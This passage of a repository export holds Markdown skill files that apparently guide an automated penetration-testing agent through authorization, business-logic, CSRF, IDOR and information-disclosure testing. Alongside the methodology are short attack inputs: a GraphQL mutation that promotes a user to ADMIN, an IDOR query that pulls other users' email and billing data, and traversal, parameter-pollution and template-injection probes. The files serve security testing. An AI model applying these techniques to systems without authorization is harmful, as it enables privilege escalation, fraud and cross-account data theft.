covers nested mutations or admin fields\n- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms\n\n```graphql\nmutation Promote($id:ID!){\n  a: updateUser(id:$id, role: ADMIN){ id role }\n}\n```\n\n### gRPC\n\n- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role\n- Reflection lists services/methods; call admin methods that the gateway hid\n\n### WebSocket\n\n- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)\n- Try emitting privileged actions after joining standard channels\n\n### Multi-Tenant\n\n- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token\n\n### Microservices\n\n- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz\n\n## Bypass Techniques\n\n### Header Trust\n\n- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins\n\n### Route Shadowing\n\n- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains\n\n### Idempotency and Retries\n\n- Retry or replay finalize/approve endpoints that apply state without checking actor on each call\n\n### Cache Key Confusion\n\n- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps\n\n## Testing Methodology\n\n1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role\n2. **Obtain tokens/sessions** - For each role\n3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides\n4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service\n5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation\n\n## Validation\n\n1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails\n2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement\n3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success\n4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources\n\n## False Positives\n\n- Read-only endpoints mislabeled as admin but publicly documented\n- Feature toggles intentionally open to all roles for preview/beta with clear policy\n- Simulated environments where admin endpoints are stubbed with no side effects\n\n## Impact\n\n- Privilege escalation to admin/staff actions\n- Monetary/state impact: refunds/credits/approvals without authorization\n- Tenant-wide configuration changes, impersonation, or data deletion\n- Compliance and audit violations due to bypassed approval workflows\n\n## Pro Tips\n\n1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC\n2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings\n3. Inspect gateways for identity header injection; never trust client-provided identity\n4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor\n5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token\n\n## Summary\n\nAuthorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/business_logic.md",
    "content": "---\nname: business-logic\ndescription: Business logic testing for workflow bypass, state manipulation, and domain invariant violations\n---\n\n# Business Logic Flaws\n\nBusiness logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.\n\n## Attack Surface\n\n- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks\n- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion\n- Authorization-by-logic: feature gates, role transitions, approval workflows\n- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing\n- Multi-tenant isolation: cross-organization data or action bleed\n- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency\n\n## High-Value Targets\n\n- Pricing/cart: price locks, quote to order, tax/shipping computation\n- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement\n- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys\n- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability\n- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting\n- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges\n- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags\n- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters\n\n## Reconnaissance\n\n### Workflow Mapping\n\n- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints\n- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions\n- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)\n\n### Input Surface\n\n- Hidden fields and client-computed totals; server must recompute on trusted sources\n- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation\n- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes\n\n### State and Time Axes\n\n- Replays: resubmit stale finalize/confirm requests\n- Out-of-order: call finalize before verify; refund before capture; cancel after ship\n- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges\n\n## Key Vulnerabilities\n\n### State Machine Abuse\n\n- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition\n- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)\n- Split a single constrained action into many sub-actions under the threshold (limit slicing)\n\n### Concurrency and Idempotency\n\n- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)\n- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache\n- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund\n\n### Numeric and Currency\n\n- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries\n- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order\n- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails\n\n### Quotas, Limits, and Inventory\n\n- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s\n- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies\n- Distributed counters without strong consistency enabling double-consumption\n\n### Refunds and Chargebacks\n\n- Double-refund: refund via UI and support tool; refund partials summing above captured amount\n- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks\n\n### Feature Gates and Roles\n\n- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled\n- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)\n\n## Advanced Techniques\n\n### Event-Driven Sagas\n\n- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation\n- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects\n- Cron/backfill jobs operating outside request-time authorization; mutate state broadly\n\n### Microservices Boundaries\n\n- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls\n- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges\n- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state\n\n### Multi-Tenant Isolation\n\n- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs\n- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement\n\n## Bypass Techniques\n\n- Content-type switching (JSON/form/multipart) to hit different code paths\n- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)\n- Client recomputation: totals, taxes, discounts computed on client and accepted by server\n- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware\n\n## Special Contexts\n\n### E-commerce\n\n- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes\n- Modify shipping tier post-quote; abuse returns to keep product and refund\n\n### Banking/Fintech\n\n- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies\n- Exploit grace periods on holds/authorizations to withdraw again before settlement\n\n### SaaS/B2B\n\n- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks\n- Usage metering: report late or duplicate usage to avoid billing or to over-consume\n\n## Chaining Attacks\n\n- Business logic + race: duplicate benefits before state updates\n- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs\n- Business logic + CSRF: force a victim to complete a sensitive step sequence\n\n## Testing Methodology\n\n1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants\n2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role\n3. **Test transitions** - Step skipping, repetition, reordering, late mutation\n4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types\n5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants\n\n## Validation\n\n1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas)\n2. Provide side-by-side evidence for intended vs abused flows with the same principal\n3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views)\n4. Quantify impact per action and at scale (unit loss × feasible repetitions)\n\n## False Positives\n\n- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)\n- Visual-only inconsistencies with no durable or exploitable state change\n- Admin-only operations with proper audit and approvals\n\n## Impact\n\n- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)\n- Regulatory/contractual violations (billing accuracy, consumer protection)\n- Denial of inventory/services to legitimate users through resource exhaustion\n- Privilege retention or unauthorized access to premium features\n\n## Pro Tips\n\n1. Start from invariants and ledgers, not UI—prove conservation of value breaks\n2. Test with time and concurrency; many bugs only appear under pressure\n3. Recompute totals server-side; never accept client math—flag when you observe otherwise\n4. Treat idempotency and retries as first-class: verify key scope and persistence\n5. Probe background workers and webhooks separately; they often skip auth and rule checks\n6. Validate role/feature gates at the service that mutates state, not only at the edge\n7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues\n8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss\n9. Chain with authorization tests (IDOR/Function-level access) to magnify impact\n10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards\n\n## Summary\n\nBusiness logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/csrf.md",
    "content": "---\nname: csrf\ndescription: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse\n---\n\n# CSRF\n\nCross-site request forgery abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.\n\n## Attack Surface\n\n**Session Types**\n- Web apps with cookie-based sessions and HTTP auth\n- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints\n\n**Authentication Flows**\n- Login/logout, password/email change, MFA toggles\n\n**OAuth/OIDC**\n- Authorize, token, logout, disconnect/connect endpoints\n\n## High-Value Targets\n\n- Credentials and profile changes (email/password/phone)\n- Payment and money movement, subscription/plan changes\n- API key/secret generation, PAT rotation, SSH keys\n- 2FA/TOTP enable/disable; backup codes; device trust\n- OAuth connect/disconnect; logout; account deletion\n- Admin/staff actions and impersonation flows\n- File uploads/deletes; access control changes\n\n## Reconnaissance\n\n### Session and Cookies\n\n- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None)\n- Lax allows cookies on top-level cross-site GET; None requires Secure\n- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone)\n\n### Token and Header Checks\n\n- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers)\n- Test removal, reuse across requests, reuse across sessions, binding to method/path\n- Verify server checks Origin and/or Referer on state changes\n- Test null/missing and cross-origin values\n\n### Method and Content-Types\n\n- Confirm whether GET, HEAD, or OPTIONS perform state changes\n- Try simple content-types to avoid preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`\n- Probe parsers that auto-coerce `text/plain` or form-encoded bodies into JSON\n\n### CORS Profile\n\n- Identify `Access-Control-Allow-Origin` and `-Credentials`\n- Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration\n- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge\n\n## Key Vulnerabilities\n\n### Navigation CSRF\n\n- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced\n- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks\n\n### Simple Content-Type CSRF\n\n- `application/x-www-form-urlencoded` and `multipart/form-data` POSTs do not require preflight\n- `text/plain` form bodies can slip through validators and be parsed server-side\n\n### JSON CSRF\n\n- If server parses JSON from `text/plain` or form-encoded bodies, craft parameters to reconstruct JSON\n- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently\n\n### Login/Logout CSRF\n\n- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker's account\n- Login CSRF: submit attacker credentials to victim's browser; later actions occur under attacker's account\n\n### OAuth/OIDC Flows\n\n- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks\n- Exploit relaxed SameSite on top-level navigations\n- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations\n\n### File and Action Endpoints\n\n- File upload/delete often lack token checks; forge multipart requests to modify storage\n- Admin actions exposed as simple POST links are frequently CSRFable\n\n### GraphQL CSRF\n\n- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads\n- Batched operations may hide mutations within a nominally safe request\n\n### WebSocket CSRF\n\n- Browsers send cookies on WebSocket handshake\n- Enforce Origin checks server-side; without them, cross-site pages can open authenticated sockets and issue actions\n\n## Bypass Techniques\n\n### SameSite Nuance\n\n- Lax-by-default cookies are sent on top-level cross-site GET but not POST\n- Exploit GET state changes and GET-based confirmation steps\n- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices\n\n### Origin/Referer Obfuscation\n\n- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null\n- `about:blank`/`data:` URLs alter Referer\n- Ensure server requires explicit Origin/Referer match\n\n### Method Override\n\n- Backends honoring `_method` or `X-HTTP-Method-Override` may allow destructive actions through a simple POST\n\n### Token Weaknesses\n\n- Accepting missing/empty tokens\n- Tokens not tied to session, user, or path\n- Tokens reused indefinitely; tokens in GET\n- Double-submit cookie without Secure/HttpOnly, or with predictable token sources\n\n### Content-Type Switching\n\n- Switch between form, multipart, and `text/plain` to reach different code paths\n- Use duplicate keys and array shapes to confuse parsers\n\n### Header Manipulation\n\n- Strip Referer via meta refresh or navigate from `about:blank`\n- Test null Origin acceptance\n- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens\n\n## Special Contexts\n\n### Mobile/SPA\n\n- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links\n- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable\n\n### Integrations\n\n- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff\n- Confirm CSRF defenses there too\n\n## Chaining Attacks\n\n- CSRF + IDOR: force actions on other users' resources once references are known\n- CSRF + Clickjacking: guide user interactions to bypass UI confirmations\n- CSRF + OAuth mix-up: bind victim sessions to unintended clients\n\n## Testing Methodology\n\n1. **Inventory endpoints** - All state-changing endpoints including admin/staff\n2. **Note request details** - Method, content-type, whether reachable via simple requests\n3. **Assess session model** - Cookies with SameSite attrs, custom headers, tokens\n4. **Check defenses** - Anti-CSRF tokens and Origin/Referer enforcement\n5. **Attempt preflightless delivery** - Form POST, text/plain, multipart/form-data\n6. **Test navigation** - Top-level GET navigation\n7. **Cross-browser validation** - Behavior differs by SameSite and navigation context\n\n## Validation\n\n1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting\n2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified\n3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch)\n4. Provide before/after state evidence for the same account\n5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin)\n\n## False Positives\n\n- Token verification present and required; Origin/Referer enforced consistently\n- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests\n- Only idempotent, non-sensitive operations affected\n\n## Impact\n\n- Account state changes (email/password/MFA), session hijacking via login CSRF\n- Financial operations, administrative actions\n- Durable authorization changes (role/permission flips, key rotations) and data loss\n\n## Pro Tips\n\n1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available\n2. Test login/logout, OAuth connect/disconnect, and account linking first\n3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them\n4. Toggle SameSite and observe differences across navigation vs XHR\n5. For GraphQL, attempt GET queries or persisted queries that carry mutations\n6. Always try method overrides and parser differentials\n7. Combine with clickjacking when visual confirmations block CSRF\n\n## Summary\n\nCSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller's origin. Tokens and Origin checks must hold across methods, content-types, and transports.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/idor.md",
    "content": "---\nname: idor\ndescription: IDOR/BOLA testing for object-level authorization failures and cross-account data access\n---\n\n# IDOR\n\nObject-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.\n\n## Attack Surface\n\n**Scope**\n- Horizontal access: access another subject's objects of the same type\n- Vertical access: access privileged objects/actions (admin-only, staff-only)\n- Cross-tenant access: break isolation boundaries in multi-tenant systems\n- Cross-service access: token or context accepted by the wrong service\n\n**Reference Locations**\n- Paths, query params, JSON bodies, form-data, headers, cookies\n- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages\n\n**Identifier Forms**\n- Integers, UUID/ULID/CUID, Snowflake, slugs\n- Composite keys (e.g., `{orgId}:{userId}`)\n- Opaque tokens, base64/hex-encoded blobs\n\n**Relationship References**\n- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId\n\n**Expansion/Projection Knobs**\n- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`\n- Often bypass authorization in resolvers or serializers\n\n## High-Value Targets\n\n- Exports/backups/reporting endpoints (CSV/PDF/ZIP)\n- Messaging/mailbox/notifications, audit logs, activity feeds\n- Billing: invoices, payment methods, transactions, credits\n- Healthcare/education records, HR documents, PII/PHI/PCI\n- Admin/staff tools, impersonation/session management\n- File/object storage keys (S3/GCS signed URLs, share links)\n- Background jobs: import/export job IDs, task results\n- Multi-tenant resources: organizations, workspaces, projects\n\n## Reconnaissance\n\n**Parameter Analysis**\n- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)\n- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation\n\n**Enumeration Techniques**\n- Alternate types: `{\"id\":123}` vs `{\"id\":\"123\"}`, arrays vs scalars, objects vs scalars\n- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows\n- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{\"id\":1,\"id\":2}` (parser precedence)\n- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account\n- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`\n\n**UUID/Opaque ID Sources**\n- Logs, exports, JS bundles, analytics endpoints, emails, public activity\n- Time-based IDs (UUIDv1, ULID) may be guessable within a window\n\n## Key Vulnerabilities\n\n### Horizontal & Vertical Access\n\n- Swap object IDs between principals using the same token to probe horizontal access\n- Repeat with lower-privilege tokens to probe vertical access\n- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications\n\n### Bulk & Batch Operations\n\n- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array\n- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks\n\n### Secondary IDOR\n\n- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs\n- Fetch or mutate those objects directly\n- Pagination/cursor manipulation to skip filters and pull other users' pages\n\n### Job/Task Objects\n\n- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)\n- Cancel/approve someone else's jobs by referencing their task IDs\n\n### File/Object Storage\n\n- Direct object paths or weakly scoped signed URLs\n- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants\n- Replace share tokens with tokens from other tenants; try case/URL-encoding variations\n\n### GraphQL\n\n- Enforce resolver-level checks: do not rely on a top-level gate\n- Verify field and edge resolvers bind the resource to the caller on every hop\n- Abuse batching/aliases to retrieve multiple users' nodes in one request\n- Global node patterns (Relay): decode base64 IDs and swap raw IDs\n- Overfetching via fragments on privileged types\n\n```graphql\nquery IDOR {\n  me { id }\n  u1: user(id: \"VXNlcjo0NTY=\") { email billing { last4 } }\n  u2: node(id: \"VXNlcjo0NTc=\") { ... on User { email } }\n}\n```\n\n### Microservices & Gateways\n\n- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks\n- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them\n- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization\n\n### Multi-Tenant\n\n- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)\n- Try mixing org of token with resource from another org\n- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants\n\n### WebSocket\n\n- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)\n- Subscribe/publish checks must run server-side, not only at handshake\n- Try sending messages with target user IDs after subscribing to own channels\n\n### gRPC\n\n- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware\n- Validate references via grpcurl with tokens from different principals\n\n### Integrations\n\n- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership\n- Third-party importers syncing data into wrong tenant due to missing tenant binding\n\n## Bypass Techniques\n\n**Parser & Transport**\n- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`\n- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes\n- JSON duplicate keys/array injection to bypass naive validators\n\n**Parameter Pollution**\n- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings\n- Mix case/alias param names so gateway and backend disagree (userId vs userid)\n\n**Cache & Gateway**\n- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users\n- Manipulate Vary and Accept headers\n- Redirect chains and 304/206 behaviors can leak content across tenants\n\n**Race Windows**\n- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests\n\n**Blind Channels**\n- Use differential responses (status, size, ETag, timing) to detect existence\n- Error shape often differs for owned vs foreign objects\n- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content\n\n## Chaining Attacks\n\n- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered\n- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to\n- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources\n- IDOR + Race: bypass spot checks with simultaneous requests\n\n## Testing Methodology\n\n1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)\n2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)\n3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints\n4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants\n5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC\n6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway\n\n## Validation\n\n1. Demonstrate access to an object not owned by the caller (content or metadata)\n2. Show the same request fails with appropriately enforced authorization when corrected\n3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)\n4. Document tenant boundary violations (if applicable)\n5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)\n\n## False Positives\n\n- Public/anonymous resources by design\n- Soft-privatized data where content is already public\n- Idempotent metadata lookups that do not reveal sensitive content\n- Correct row-level checks enforced across all channels\n\n## Impact\n\n- Cross-account data exposure (PII/PHI/PCI)\n- Unauthorized state changes (transfers, role changes, cancellations)\n- Cross-tenant data leaks violating contractual and regulatory boundaries\n- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage\n\n## Pro Tips\n\n1. Always test list/search/export endpoints first; they are rich ID seeders\n2. Build a reusable ID corpus from logs, notifications, emails, and client bundles\n3. Toggle content-types and transports; authorization middleware often differs per stack\n4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children\n5. In multi-tenant apps, vary org headers, subdomains, and path params independently\n6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks\n7. Inspect gateways for header trust and cache key configuration\n8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding\n9. Use timing/size/ETag differentials for blind confirmation when content is masked\n10. Prove impact with precise before/after diffs and role-separated evidence\n\n## Summary\n\nAuthorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/information_disclosure.md",
    "content": "---\nname: information-disclosure\ndescription: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure\n---\n\n# Information Disclosure\n\nInformation leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.\n\n## Attack Surface\n\n- Errors and exception pages: stack traces, file paths, SQL, framework versions\n- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags\n- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives\n- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests\n- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection\n- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON\n- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing\n- Storage/export surfaces: public buckets, signed URLs, export/download endpoints\n- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs\n- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes\n\n## High-Value Surfaces\n\n### Errors and Exceptions\n\n- SQL/ORM errors: reveal table/column names, DBMS, query fragments\n- Stack traces: absolute paths, class/method names, framework versions, developer emails\n- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack\n- JSON/XML parsers: type mismatches leak internal model names\n\n### Debug and Env Modes\n\n- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off\n- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs\n- Feature/config toggles exposed in JS or headers\n\n### DVCS and Backups\n\n- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets\n- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments\n- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs\n\n### Configs and Secrets\n\n- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php\n- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens\n- Credentials and connection strings; internal hosts and ports; JWT secrets\n\n### API Schemas and Introspection\n\n- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations\n- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields\n- gRPC: server reflection exposing services/messages\n\n### Client Bundles and Maps\n\n- Source maps (`.map`) reveal original sources, comments, and internal logic\n- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets\n- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII\n\n### Headers and Response Metadata\n\n- Fingerprinting: Server, X-Powered-By, X-AspNet-Version\n- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers\n- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range\n\n### Storage and Exports\n\n- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys\n- Signed URLs: long-lived, weakly scoped, re-usable across tenants\n- Export/report endpoints returning foreign data sets or unfiltered fields\n\n### Observability and Admin\n\n- Metrics: Prometheus `/metrics` exposing internal hostnames, process args\n- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints\n- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth\n\n### Cross-Origin Signals\n\n- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties\n- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes\n\n### File Metadata\n\n- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects\n\n### Cloud Storage\n\n- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers\n- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params\n\n## Key Vulnerabilities\n\n### Differential Oracles\n\n- Compare owner vs non-owner vs anonymous for the same resource\n- Track: status, length, ETag, Last-Modified, Cache-Control\n- HEAD vs GET: header-only differences can confirm existence\n- Conditional requests: 304 vs 200 behaviors leak existence/state\n\n### CDN and Cache Keys\n\n- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers\n- Vary misconfiguration: user-agent/language vary without auth vary leaks content\n- 206 partial content + stale caches leak object fragments\n\n### Cross-Channel Mirroring\n\n- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC\n- SSR vs CSR: server-rendered pages omit fields while JSON API includes them\n\n## Triage Rubric\n\n- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels\n- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content\n- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints\n- **Low**: Generic headers, marketing versions, intended documentation without exploit path\n\n## Exploitation Chains\n\n### Credential Extraction\n- 